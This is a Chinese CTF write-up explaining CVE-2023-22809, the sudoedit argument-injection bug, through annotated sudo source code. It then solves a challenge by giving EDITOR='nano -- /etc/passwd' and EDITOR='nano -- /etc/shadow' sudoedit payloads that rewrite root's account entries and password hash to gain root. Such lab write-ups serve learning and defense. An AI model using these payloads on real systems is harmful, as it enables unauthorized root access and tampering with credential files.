[春秋杯2023]Misc sudo(记CVE-2023-22809)

2023-11-15

对我来说还是有点难了,web方向的phpstudy那道题,不知道为什么,xss就是打不进去,第二道python反序列化还没有理解,所以就先发一道misc


MISC

sudo

CVE-2023-22809

一、漏洞范围

sudo 1.8.0到1.9.12p1版本受影响

二、漏洞概述

sudo使用用户提供的环境变量让用户选择他们所选择的编辑器。的内容其中一个变量扩展了传递给sudo_edit()函数的实际命令。

然而,后者依赖于--参数的存在来确定要编辑的文件列表。注入在一个已授权的环境变量中使用额外的--参数可以更改此列表并导致特权通过编辑具有RunAs用户权限的任何其他文件来升级。这个问题发生在sudoers之后。

三、漏洞成因

由于Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITORVISUALEDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的 -- 参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升。除外,该漏洞还影响部分QNAP操作系统:QTS、QuTS hero、QuTScloud、QVP(QVR Pro设备)。

猜测:我们可以利用SUDO_EDITOR、VISUAL、EDITOR传递参数进行提权攻击

四、漏洞分析

sudoers策略插件首先调用sudoers_policy_main()来处理的查找和验证使用sudoers_lookup()的策略。不过,在此功能结束后,策略成功验证时,使用名为find_editor()的编辑器查找方法重写命令。

// plugins/sudoers/sudoers.c@sudoers_policy_main()
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
 bool verbose, void *closure)
{
 // [...]
 validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
 // [...]
 if (ISSET(sudo_mode, MODE_EDIT)) {
 // [...]
 safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc, &edit_argv, NULL,
&env_editor, false);

代码解释:

该代码片段是在sudoers/sudoers.c文件中的sudoers_policy_main函数的一部分。与sudo程序中sudoers策略的实现相关,该策略负责确定是否允许用户以管理员权限执行给定的命令。

在这个特定的代码片段中,sudoers_policy_main函数被传入了几个参数:argcargv,表示传递给sudo的命令行参数,pwflag是一个表示与密码相关的行为的标志,env_add是一个要设置的额外环境变量数组,verbose是一个表示是否启用详细输出的标志,closure是一个指向其他数据的通用指针。

在函数内部,调用了sudoers_lookup函数,传递了snl(可能是某种数据结构)和sudo_user.pw(表示sudo用户的密码)作为参数,并将结果保存在validated变量中。然后,根据sudo_mode中的MODE_EDIT标志,执行了一些与编辑器相关的操作,其中find_editor函数用于查找适当的编辑器并返回相关参数。

该函数首先使用用户提供的三个环境变量执行编辑器查找文档,SUDO_EDITOR, VISUALEDITOR

// plugins/sudoers/editor.c@find_editor()
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
 char * const *allowlist, const char **env_editor, bool env_error)
{
 // [...]
 *env_editor = NULL;
 ev[0] = "SUDO_EDITOR";
 ev[1] = "VISUAL";
 ev[2] = "EDITOR";
 for (i = 0; i < nitems(ev); i++) {
 char *editor = getenv(ev[i]);
 if (editor != NULL && *editor != '\0') {
 *env_editor = editor;
 editor_path = resolve_editor(editor, strlen(editor), nfiles, files,
argc_out, argv_out, allowlist);

代码解释:

这段代码是 editor.c 文件中的 find_editor 函数的一部分。它的作用是查找合适的编辑器,并返回编辑器的路径。

在这段代码中,有几个参数和变量需要解释:

  • nfiles:表示文件数量的整数值。
  • files:表示文件数组的指针。
  • argc_out:是一个指向整数的指针,用于存储找到的编辑器命令行参数的数量。
  • argv_out:是一个指向指针的指针,用于存储找到的编辑器命令行参数数组的地址。
  • allowlist:表示允许列表的指针,用于限制允许的编辑器。
  • env_editor:是一个指向指针的指针,用于存储编辑器环境变量的地址。
  • env_error:是一个布尔值,表示是否在环境变量错误时显示错误。

该函数的主要逻辑如下:

  1. env_editor 的值设置为 NULL,表示尚未找到编辑器的环境变量。
  2. 定义一个字符串数组 ev,其中包含三个环境变量名:SUDO_EDITORVISUALEDITOR。这些环境变量通常用于指定编辑器的路径。
  3. 使用一个循环,依次检查每个环境变量,查找编辑器的路径。对于每个环境变量,通过调用 getenv 函数获取环境变量的值,如果该值不为 NULL 且不为空字符串,则将其赋值给 env_editor
  4. 如果找到了编辑器的环境变量,调用 resolve_editor 函数来解析编辑器的路径。resolve_editor 函数会根据提供的编辑器路径、文件数量以及其他参数,来确定最终的编辑器命令行参数,并返回编辑器的完整路径。

如果存在,则将每个值发送到resolve_editor()进行解析。然而,后者不仅如此解析编辑器的路径,但也接受在最后的命令行中传递的额外参数。类中的文件分开,这些参数放在--参数之前原来的命令行。

// plugins/sudoers/editor.c@resolve_editor()
static char *
resolve_editor(const char *ed, size_t edlen, int nfiles, char **files,
 int *argc_out, char ***argv_out, char * const *allowlist)
{
 // [...]
 /*
 * Split editor into an argument vector, including files to edit.
 * The EDITOR and VISUAL environment variables may contain command
 * line args so look for those and alloc space for them too.
 */
 cp = wordsplit(ed, edend, &ep);
 // [...]
 editor = copy_arg(cp, ep – cp);
 /* Count rest of arguments and allocate editor argv. */
 for (nargc = 1, tmp = ep; wordsplit(NULL, edend, &tmp) != NULL; )
 nargc++;
 if (nfiles != 0)
 nargc += nfiles + 1;
 nargv = reallocarray(NULL, nargc + 1, sizeof(char *));
 // [...]
 /* Fill in editor argv (assumes files[] is NULL-terminated). */
 nargv[0] = editor;
 // [...]
 for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
 /* Copy string, collapsing chars escaped with a backslash. */
 nargv[nargc] = copy_arg(cp, ep - cp);
 // [...]
 }
 if (nfiles != 0) {
 nargv[nargc++] = "--";
 while (nfiles--)
 nargv[nargc++] = *files++;
 }
 nargv[nargc] = NULL;
 *argc_out = nargc;
 *argv_out = nargv;

代码解释:

这段代码是 editor.c 文件中的 resolve_editor 函数的一部分。它的作用是将编辑器路径及其他参数解析为编辑器的命令行参数,并返回编辑器的完整路径。

在这段代码中,有几个参数和变量需要解释:

  • ed:是一个指向编辑器路径的字符串指针。
  • edlen:表示编辑器路径的长度。
  • nfiles:表示文件数量的整数值。
  • files:表示文件数组的指针。
  • argc_out:是一个指向整数的指针,用于存储解析后的编辑器命令行参数的数量。
  • argv_out:是一个指向指针的指针,用于存储解析后的编辑器命令行参数数组的地址。
  • allowlist:表示允许列表的指针,用于限制允许的编辑器。

该函数的主要逻辑如下:

  1. 使用 wordsplit 函数将编辑器路径分割成一个参数向量,并存储在 cpep 变量中。
  2. 通过调用 copy_arg 函数将 cpep 之间的内容复制到 editor 变量中,得到编辑器的路径。
  3. 计算剩余参数的数量,并为编辑器的命令行参数数组分配内存空间。
  4. editor 存储到 nargv 数组的第一个元素中。
  5. 使用循环遍历每个剩余参数,通过调用 wordsplit 函数将参数分割并复制到 nargv 数组中。
  6. 如果存在文件数量 nfiles,将 "--" 字符串存储到 nargv 数组中,并使用另一个循环将文件数组 files 中的文件路径存储到 nargv 数组中。
  7. nargv 数组的最后一个元素设为 NULL,表示参数数组的结束。
  8. 将解析后的编辑器命令行参数数量存储到 argc_out 指针指向的位置。
  9. 将解析后的编辑器命令行参数数组的地址存储到 argv_out 指针指向的位置。

然后使用生成的命令调用sudo_edit()函数。找到临时工作后可写目录(/var/tmp/usr/tmp/tmp或操作被取消),方法解析命令行提取要处理的文件列表。为此,前面的--参数是用作分隔符,其右边的每个参数都被视为要处理的文件名。

// src/sudo_edit.c@sudo_edit()
int
sudo_edit(struct command_details *command_details)
{
 // [...]
 /*
 * Set real, effective and saved uids to root.
 * We will change the euid as needed below.
 */
 setuid(ROOT_UID);
 // [...]
 /* Find a temporary directory writable by the user. */
 set_tmpdir(&user_details.cred);
 // [...]
 /*
 * The user's editor must be separated from the files to be
 * edited by a "--" option.
 */
 for (ap = command_details->argv; *ap != NULL; ap++) {
 if (files)
 nfiles++;
 else if (strcmp(*ap, "--") == 0)
 files = ap + 1;
 else
 editor_argc++;
 }

这段代码是在 sudo_edit 函数中的一部分,用于执行编辑操作。下面对代码进行解释:

  • command_details:指向 command_details 结构体的指针,包含了要执行的命令的详细信息。

在函数中的主要逻辑如下:

  1. 使用 setuid(ROOT_UID) 将实际用户ID、有效用户ID和保存的用户ID设置为 root。这是为了确保在执行编辑操作时拥有足够的权限。
  2. 调用 set_tmpdir 函数,为用户查找一个可写的临时目录。
  3. 使用循环遍历 command_details->argv 数组中的每个命令行参数。对于每个参数:
  • 如果 files 不为空,则表示已经找到了 "--" 参数之后的文件参数,递增 nfiles 的计数。
  • 如果参数与 "--" 相等,则表示找到了文件参数之前的编辑器参数,将 files 设置为该参数之后的位置。
  • 否则,递增 editor_argc 的计数,表示参数属于编辑器参数。

这段代码的目的是将编辑器参数和文件参数分开,使用 "--" 参数作为分隔符。

在之前的环境中注入额外的双破折号时,这种行为会导致混乱用于查找编辑器的变量。

EDITOR='vim -- /path/to/extra/file'

使用这个值,命令行将被解析为:

vim -- /path/to/extra/file -- /path/from/policy

因此,假设采用以下策略,用户将能够通过编辑将权限升级到root系统中的敏感文件。

$ cat /etc/sudoers
user ALL=(ALL:ALL) sudoedit /etc/custom/service.conf
[...]
$ EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf
sudoedit: --: editing files in a writable directory is not permitted
2 files to edit
sudoedit: /etc/custom/service.conf unchanged
$ tail -1 /etc/passwd
sudoedit::0:0:root:/root:/bin/bash

五、本题解法

经过上面balabala一堆,总结一下就是利用vim等文本编辑器,进行sudoedit来修改root系统中的敏感文件

我们可以先看看可以用什么文本编辑器

update-alternatives --config editor

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6KXwrKc2-1684570377749)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\1684325205404.png)]

这段输出表示在 editor 链接组中只有一个可选项,即 /bin/nano。这是因为系统当前只配置了一个可用的文本编辑器。

那我们就用nano来进行sudoedit

根据上文提到的EDITOR='vim -- /path/to/extra/file'来设置环境变量,然后我们需要后接一个sudoedit来进行修改文件(这里试了一下,虽然环境变量可以自行设置,但是并不会应用到服务器中,所以需要在设置完环境变量后直接进行sudoedit来进行修改)

环境变量上面提到的SUDO_EDITORVISUALEDITOR都可以使用,下文使用的是EDITOR

在修改之前, 首先我们先查看==/etc/soduers配置文件==,这个也是关键

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f7SWQKhH-1684570377749)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\1684326114927.png)]

解释如下:

  • Defaults env_reset:这个配置表示在运行 sudo 命令时重置环境变量。
  • Defaults mail_badpass:这个配置表示在用户输入错误密码时发送电子邮件通知。
  • Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin":这个配置定义了 sudo 命令的默认安全路径,即可执行文件的搜索路径。
  • root ALL=(ALL:ALL) ALL:这行表示允许用户 root 在任何终端以任何用户身份执行任何命令。
  • %admin ALL=(ALL) ALL:这行表示属于 admin 组的用户可以使用 sudo 命令以任何用户身份执行任何命令。
  • %sudo ALL=(ALL:ALL) ALL:这行表示属于 sudo 组的用户可以使用 sudo 命令以任何用户身份执行任何命令。
  • xiaonannan ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/GAMELAB:这行表示用户 xiaonannan 可以使用 sudoedit 命令以任何用户身份,无需输入密码,来编辑 /etc/GAMELAB 文件。
  • #includedir /etc/sudoers.d:这行是一个注释,指示可以使用 #include 指令来包含 /etc/sudoers.d 目录中的其他配置文件。

Defaults env_reset可以看出,这是上文提到环境变量不会保存的原因

关键的是xiaonannan ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/GAMELAB,这个命令决定了sudoedit后面需要有文件,且仅能是这个文件,这个文件是临时文件,可以有上面代码审计调用 set_tmpdir 函数,为用户查找一个可写的临时目录得知(猜的),猜测这里面的临时目录就是上面所写的/GAMELAB

然后可以利用环境变量sudoedit来进行提权了

这里我除了修改root用户名还摸索了一种修改root密码

1.修改用户名

payload:

EDITOR='nano -- /etc/passwd' sudoedit -- /etc/GAMELAB

然后就会进入到nano界面

1684334611265

1684334639651

将第一行的root改成xiaonannan,就可以让xiaonannan访问/root目录下的/bin/bash从而执行root权限的命令

Ctrl+O然后按回车保存,然后Ctrl+x就可以退出/etc/passwd的nano编辑界面,然后发现没有完全退出,仔细看上面

1684334880402

文件名变成了/tmp/GAMELAB,因为我们的payload是EDITOR='nano -- /etc/passwd' sudoedit -- /etc/GAMELAB,我们将环境变量设置成了/etc/passwd所以sudoedit策略会先执行这个编辑改文件的命令,然后再执行sudoedit /etc/GAMELAB

这也证实了我们的想法,GAMELAB是个临时文件,然后我们再cat /etc/passwd一下

1684335203660

可以看到,root的用户名已经变成了xioanannan,然后切换用户:

su xiaonannan

之后输入密码,就可以cat /flag得到flag

1684335311395

2.修改root密码

在 Linux 中,用户的账号密码是以加密的方式存储在系统文件中,通常是 /etc/shadow 文件。

1684335467716

该文件也确实存在,但是我们是无法直接读取的,所以直接构造payload来查看并修改该文件:

EDITOR='nano -- /etc/shadow' sudoedit -- /etc/GAMELAB

1684335565687

成功读取到内内容,这里解释一下里面是什么意思

在密码字段中,* 表示密码被锁定或禁用。这意味着 root 用户在此系统上无法使用密码登录。密码字段为 * 是为了防止直接使用密码进行 root 登录,而是使用其他更安全的认证方式,如密钥登录或通过 sudo 命令提升权限。

所以我们是无法通过直接读取root的密码来进行夺取flag的,我们要修改

思路就是,我们现在已知的密码只有xiaonannan,那么只需要把加密之后的小楠楠的密码直接copy到root行,如下:

1684336006104

之后保存并退出

这里如果直接su root验证失败

1684335917236

所以我们需要,退出重进!

用户名输入root,密码和xiaonannan一样,直接登陆成功

1684336052550

然后cat /f*得到flag

1684336082909

PS:这题应该还有别的办法。。。。但是菜菜,只能想到两种了

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[春秋杯2023]Misc sudo(记CVE-2023-22809) 的相关文章

随机推荐

  • soft fork and hard fork

    https bitcoin stackexchange com questions 30817 what is a soft fork https blog csdn net chabuduoxiansheng1 article detai
  • 【OpenAI】《Zotero GPT

    Zotero GPT 如何调教你的GPT 此教程讲述了tag的代码构成 ZoteroGPT中tag的效果就有点像浏览器中的插件 Time Content 0 51 一个tag的基本组成 5 32 tag的工作原理 6 33 删除和新建tag
  • KVM-7、KVM 虚拟机创建的几种方式

    通过对 qemu kvm libvirt 的学习 总结三种创建虚拟机的方式 1 通过 qemu kvm 创建 2 通过 virt install 创建 3 通过 virt manager 创建 在使用这三种创建虚拟机前提是 宿主机必须支持
  • 数据可视化——seaborn(一)

    数据可视化 seaborn 二 简介 seaborn这个库是基于matplotlib并且数据结构与pandas统一的python制图库 seaborn提供了一个高级界面 它是在matplotlib上进行了更高级的API封装 因此使得制图更加
  • Python学习笔记之os.walk()函数

    我们使用os listdir 函数来列出目录下的所有文件和目录放入一个列表进行返回 但是listdir 函数不可对目录的子目录进行扫描 print os listdir 输出 boot dev home proc run sys etc r
  • 前端和后台数据交互总结

    web服务器应用程序 apache tomcat nodeJs Nginx IIS 后台语言 php java net nodeJS 数据库 Mysql SqlServer Oracle 后台mvc ssh ssm 前台mvc js jsp
  • TensorFlow索引与切片语句

    学习课程 1 Basic indexing a tf ones 1 5 5 3 创建tensor a 0 0 结果是5 3的tensor a 0 0 0 结果是1 3的tensor a 0 0 0 1 结果是一个数1 2 Numpy sty
  • python汇总zip文件,压缩包的每个文件格式一样

    汇总zip文件 压缩包的每个文件格式一模一样 from zipfile import ZipFile import pandas as pd import os 打开文件 path r C Users Administrator Deskt
  • gcc/g++ 编译器使用简介

    gcc g 编译器使用简介 原地址 http blogold chinaunix net u3 109487 showart 2153853 html GNU CC 简称gcc 是GNU项目中符合ANSI C标准的编译系统 能够编译用C C
  • WireShark简介和抓包原理及过程

    WireShark 简介 WireShark是一个网络封包分析软件 其功能是记录网络封包 并尽可能显示出最为详细的网络封包信息 WireShark使用WinPCAP作为接口 直接与网卡进行数据报文交换 通俗理解 一个记录网络封包软件 你可以
  • python怎么调用另一个py文件的变量_Python中py文件引用另一个py文件变量的方法

    最近自己初学Python 在编程是遇到一个问题就是 怎样在一个py文件中使用另一个py文件中变量 问题如下 demo1代码 import requests r requests get http www baidu com r encodi
  • 【Linux】常用指令汇总

    目录 1 文件和目录操作 2 进程管理和查询 3 压缩和解压操作 4 系统信息和管理 5 远程和下载操作 6 用户和权限管理 7 时间和日期操作 8 运行和停止程序 9 其他操作 如果这篇文章对你有所帮助 渴望获得你的一个点赞 以下示例涵盖
  • 3S基础知识:VC6.0+MapX编程总结

    一 MapX的帮助 MapX的官方帮助文档是 MapX在线帮助 个人认为 这套文档过于简单 系统性偏差 与ArcEngine的帮助文档不可比 很多MapX的开发技巧在 MapX在线帮助 中查找不到 只能在互联网上搜索 本文试图从一个程序员的
  • 1V转5V芯片,三个元件即可组成完整的稳压方案

    1V低电压要转成5V的电压 需要1V转5V的芯片 由于1V输入 所以不需要指望能输出多大的电流 压差和1V的供电电压意味着供电电流也是无法做大的了 一般1V转5V的输出电流在0MA 100mA 一般60MA应用多 1V转5V电路的BOM物料
  • [LeetCode]202. Happy Number(判断正整数是不是Happy Number)

    202 Happy Number 原题链接 Write an algorithm to determine if a number is happy A happy number is a number defined by the fol
  • java.lang.Integer线程安全吗?

    java lang Integer线程安全 因为 private final int value 不可变
  • SQL实战5——统计活跃间隔对用户分级结果

    现有用户行为日志表tb user log 问题 统计活跃间隔对用户分级后 各活跃等级用户占比 结果保留两位小数 且按占比降序排序 注 用户等级标准简化为 忠实用户 近7天活跃过且非新晋用户 新晋用户 近7天新增 沉睡用户 近7天未活跃但更早
  • 华为机试HJ11 数字颠倒

    HJ11 数字颠倒 Python 题目 解题思路 代码 结果 题目 解题思路 1 输入 转字符串 倒序输出即可 python可以很取巧 代码 print input 1 结果
  • 使用Python批量转换彩色图片到灰度图片

    当涉及到图像处理和计算机视觉时 有时需要将彩色图片转换为灰度图片 一张一张使用PS等工具转换十分复杂且没有必要 今天介绍的这种方法用到了Pillow库 使用Pillow库来打开 加载并转换彩色图像 并将图像储存在另一个文件夹里 具体步骤如下
  • [春秋杯2023]Misc sudo(记CVE-2023-22809)

    对我来说还是有点难了 web方向的phpstudy那道题 不知道为什么 xss就是打不进去 第二道python反序列化还没有理解 所以就先发一道misc MISC sudo 记CVE 2023 22809 一 漏洞范围 sudo 1 8 0